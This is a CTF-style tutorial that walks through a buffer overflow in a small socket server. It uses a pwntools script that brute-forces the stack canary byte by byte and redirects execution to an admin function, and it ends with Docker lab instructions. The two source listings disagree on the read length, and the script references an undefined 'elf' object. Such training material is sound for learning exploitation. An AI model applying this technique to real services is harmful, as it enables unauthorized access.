Challenge example
Source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "serve.h"
int fd_f;
int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass
    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';
    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 1024);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}
void admin(void){
    write(fd_f, "Congratulation\n", 15);
}
void serve(int fd_) {
    int auth;
    fd_f = fd_;
    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();
    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}
int main() {
    Serve socket = Serve_Create();
    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}The binary is compiled without PIE and is served using the serve.c code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "serve.h"
int fd_f;
int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass
    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';
    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 19);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}
void admin(void){
    write(fd_f, "Congratulation\n", 15);
}
void serve(int fd_) {
    int auth;
    fd_f = fd_;
    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();
    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}
int main() {
    Serve socket = Serve_Create();
    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}The buffer overflow occur during the authentication function at line 19 :
read(fd_f, buf, 1024);Exploitation
Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the admin function.
from pwn import *
def get_overflow_len(wait, expected):
    i = 1
    while i < 1000:
        print(f"Trying offset : {i}")
        p = remote("127.0.0.1", 1337)
        p.recvuntil(wait)
        p.send(b"A" * i)
        res = p.recvall(timeout=0.5)
        p.close()
        if not res or expected not in res:
            print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
            offset = i - 1
            return offset
        i += 1
def leak_stack(wait, expected, offset, length=8):
    global stop
    stack = b""
    for i in range(length):
        for j in range(256):
            p = remote("127.0.0.1", 1337)
            b = j.to_bytes(1, "big")
            print(f"Trying byte : {b}")
            p.recvuntil(wait)
            p.send(b"A" * offset + stack + b)
            res = p.recvall(timeout=0.5)
            p.close()
            if res and expected in res:
                print(f"byte found : {b}")
                stack = stack + b
                break
            if j == 255:
                stop = True
                print("Unable to leak stack byte")
    return stack
offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")
p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
CongratulationExercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:stack_readingDeploy the image using the followed command :
docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_readingAccess to the web shell with your browser at the address : http://localhost:3000/
login: challenge
password: passwordLast updated